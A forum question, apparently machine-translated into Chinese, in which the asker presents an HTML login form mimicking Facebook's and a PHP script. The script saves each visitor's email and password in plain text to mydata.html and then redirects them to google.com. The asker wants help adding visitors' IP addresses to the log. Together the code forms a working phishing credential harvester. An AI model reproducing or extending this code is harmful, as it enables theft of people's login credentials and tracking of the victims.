我试图做一点形式。此表单必须包含电子邮件地址和密码+ IP地址。这是代码:
形式:
<form action="action.php" method="POST" role="form">
<div class="panel panel-default">
<div class="panel-heading">
<input name="name"type="email" id="fb_input-3"class="fb_input form-control" id="email" placeholder="Email or Phone">
</div>
<div class="panel-body">
<input name="pass"type="password" id="fb_input"class="fb_input form-control" id="pwd" placeholder="Password">
</div>
<div id="panel_btn"class="panel-footer">
<button name="submit"id="login_btn"type="submit" class="btn btn-primary btn-block"><strong>Log In</strong></button>
</div>
</div>
</form>
PHP:
<?php
$myfile = fopen("mydata.html", "a+");
$txt = "Login Email : ".$_POST['name']." -> Password : ".$_POST['pass']."<br/>";
fwrite($myfile, $txt);
fclose($myfile);
if ($txt == true) {
header('Location: http://www.google.com');
}
?>
正如您所看到的,电子邮件和密码是用&#34; mydata.html&#34;编写的,但我也需要编写IP地址。
此代码工作正常,所以我需要的是添加访问者的IP地址,电子邮件和密码正常运行!但是我需要ip。
我该怎么做?
我无法找到包含这些细节的帖子。